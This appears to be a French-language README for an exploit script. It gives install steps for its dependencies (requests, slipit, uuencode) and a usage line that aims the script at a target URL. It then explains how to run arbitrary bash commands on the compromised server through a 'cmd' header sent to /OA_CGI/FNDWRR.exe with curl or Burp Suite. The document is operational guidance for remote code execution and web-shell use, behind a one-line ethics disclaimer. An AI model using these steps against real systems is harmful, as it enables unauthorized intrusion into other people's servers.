Prérequis pour que cet exploit fonctionne :

• python3 incluant les modules (requests, os, sys, slipit)
• uuencode

Avant de l'exécuter, assurez-vous de l'utiliser uniquement à des fins éthiques.

si l'exploit échoue à s'exécuter :

• Assurez-vous d'avoir déjà installé le module prérequis

Installation de requests

• pip3 install requests

• Installez slipit, git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• Installez uuencode

  • sudo apt install sharutils

• Utilisation : python3 exploit.py http://target.com

  • puis le shell s'ouvrira OU vous pouvez également exécuter le shell en utilisant curl ou des outils de proxy web (burpsuite)
  • en utilisant curl : curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • en utilisant burpsuite : ajoutez simplement cmd dans l'en-tête de la requête avec n'importe quelle charge utile bash que vous souhaitez exécuter